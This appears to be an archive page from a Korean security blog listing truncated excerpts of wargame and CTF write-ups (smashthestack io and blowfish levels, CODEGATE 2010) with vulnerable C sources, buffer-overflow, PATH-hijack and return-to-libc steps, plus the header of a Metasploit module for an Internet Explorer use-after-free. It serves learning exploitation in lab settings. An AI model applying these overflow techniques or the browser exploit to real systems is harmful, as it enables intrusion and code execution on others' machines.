[작성자:] ByJJoon


  • io.smashthestack.org – Level 6

    Level 6 문제 소스는 아래와 같다. #include<string.h> // The devil is in the details – nnp void copy_buffers(char *argv[]) { char buf1[32], buf2[32], buf3[32]; strncpy(buf2, argv[1], 31); strncpy(buf3, argv[2], sizeof(buf3)); strcpy(buf1, buf3); } int main(int argc, char *argv[]) { copy_buffers(argv); return 0; } 특별히 오버플로우가 날거 같은 부분이 보이지 않는다. 하지만 아래와 같이 입력을 하면 […]

  • io.smashthestack.org – Level 5

    Level 5의 소스는 아래와 같다. #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; } 문제는 간단하다. argv[1]을 buf 변수에 strcpy() 함수를 이용하여 옮기나 buf 변수의 크기보다 더 많은 값을 넣으면 오버플로우가 될것임을 알 수 있다. 따라서 환경변수에 NOP + SHELLCODE를 […]

  • io.smashthestack.org – Level 4

    Level 4 문제 소스는 아래와 같다. #include <stdlib.h> int main() { system("id"); return 0; } id를 실행시키는 간단한 소스다.. PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다. /tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다. level4@io:/tmp/by4$ env TERM=linux SHELL=/bin/bash SSH_CLIENT=211.218.16.99 23923 22 OLDPWD=/tmp SSH_TTY=/dev/pts/2 USER=level4 MAIL=/var/mail/level4 PATH=/usr/local/bin:/usr/bin:/bin:/usr/games PWD=/tmp/by4 […]

  • io.smashthestack.org – Level 3

    Level 3 문제 소스는 아래와 같다. #include <stdio.h> #include <unistd.h> #include <string.h> int good(int addr) { printf("Address of hmm: %p\n", addr); } int hmm() { printf("Win.\n"); execl("/bin/sh", "sh", NULL); } extern char **environ; int main(int argc, char **argv) { int i, limit; for(i = 0; environ[i] != NULL; i++) memset(environ[i], 0x00, strlen(environ[i])); int (*fptr)(int) = […]

  • io.smashthestack.org – Level 2

    Level 2 문제를 실행하면 아래와 같다. level2@io:/tmp/by$ /levels/level02 Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21… The 4th through the 7th numbers would give you 581321 level2@io:/tmp/by$ 위 수열에서 39번째부터 42번째를 이어서 쓴 값을 argv[1]로 넣으라고 […]

  • io.smashthestack.org – Level 1

    http://io.smashthestack.org:84 ssh [email protected] -p2224 password: level1 오늘 부터 시작해보자! Level 1 문제는 생각보다 단순하다. level1@io:/levels$ ./level01 Usage: ./level01 <password> level1@io:/levels$ ./level01 test Fail. level1@io:/levels$ strings level01 /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf execl puts strncmp _IO_stdin_used __libc_start_main GLIBC_2.0 PTRh 0Y_] [^_] [^_] omgpassword Usage: %s <password> Win. /bin/sh Fail. level1@io:/levels$ ./level01 omgpassword Win. sh-3.2$ cat /home/level2/.pass ep4kbyqe […]

  • CODEGATE 2010 CHALLENGE 4, 5 (RTL)

    http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/ 위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다. RTL을 이해하는데 도움이 될 거 같네요… hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy…done. (gdb) b main Breakpoint 1 at 0x804850e (gdb) r Starting program: /tmp/by/easy Breakpoint 1, 0x0804850e in main () (gdb) x/x execl 0x1ea0c0 <execl>: 0x53565755 (gdb) q execl 주소를 확인하여 보면 […]

  • blowfish.smashthestack.org – Level12 풀이

    이 문제를 풀기위해 어언 1년이 걸린거 같다… 마침에 최종 레벨을 다 풀어냈다. 이 감격이란 -_-…… /* * Anyone hating this level yet? * Having problems? * good… 😉 * * Created by: ddle * */ #include <stdio.h> int func(arg) char *arg; { char buf[40]; strncpy(buf , arg , 64); return 0; } int main(argc , […]

  • CODEGATE 2010 CHALLENGE 4

    http://coma.0x3f.net/uncategorized/codegate2010-ctf-level-4/ 위 사이트에 올라온 풀이를 보고 다시 한번 풀어 정리를 하여 보았다. 해당 문제를 통해 msfelfscan의 사용법과 core 파일 생성 및 디버깅 방법을 확인할 수 있었다. \xcc를 이용하여 흐름을 파악하는 과정은 정말 도움이 많이 될 거 같다. [byjjoon@ByJJoon CODEGATE]$ ulimit -c 50000 [byjjoon@ByJJoon CODEGATE]$ python -c "print 'A'*272" | ./easy Input: Segmentation fault (core dumped) […]

  • Microsoft Internet Explorer iepeers.dll Use-After-Free Exploit (CVE-2010-0806, MS10-018)

    현재 악성코드 유포로 이용될 가능성이 있는 인터넷 익스플로러 취약점 입니다. Metasploit 모듈로 올라왔네요.. ## # ie_iepeers_pointer.rb # # Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework # # Tested successfully on the following platforms: # – Microsoft Internet Explorer 7, Windows Vista SP2 # – Microsoft Internet Explorer 7, Windows XP SP3 # […]